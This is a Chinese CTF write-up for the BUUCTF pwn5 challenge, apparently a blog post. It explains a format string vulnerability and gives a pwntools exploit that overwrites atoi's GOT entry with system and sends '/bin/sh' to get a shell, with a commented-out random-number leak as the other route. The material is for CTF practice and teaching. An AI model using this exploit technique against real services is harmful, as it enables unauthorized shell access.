pwn BUUCTF第五空间决赛pwn5

emem今天也是水题的一天阿哈哈看了一个第五空间决赛的pwn5发现很简单诶
这题估计有很多的思路因为
pwn BUUCTF第五空间决赛pwn5_第1张图片
明显的格式化字符串漏洞可以改写got表的地址,可以打印地址的内容所以
我就讲2个
它是随机数和你输入的数相同就会给你一个后门所以就可以泄露出给你的随机数然后输入进去就行了
我这里写一个
在这里插入图片描述
这个函数我们把其改为system函数地址然后输入’/bin/sh\x00’
就行了很简单啊啊

from pwn import *

p=process('./pwn1')
p=remote('node2.buuoj.cn.wetolink.com',28910)
elf=ELF('./pwn1')
def debug():
	pwnlib.gdb.attach(p)
	pause();
offset=10
system_addr=0x08049080
read_addr=elf.got['read']
atio=elf.got['atoi']
p.recvuntil(':')
payload1=fmtstr_payload(offset,{atio:system_addr})
p.sendline(payload1)
p.recvuntil('your passwd:')
p.sendline('/bin/sh\x00')
'''
p.sendline(payload1)
p.recvuntil('Hello,')
p.recvuntil('\x08')
rec=u32(p.recv(4).ljust(4,'\x00'))
log.success('rec: '+hex(rec))
p.recvuntil('your passwd:')
p.sendline(p32(rec))
'''
p.interactive()

你可能感兴趣的:(题目)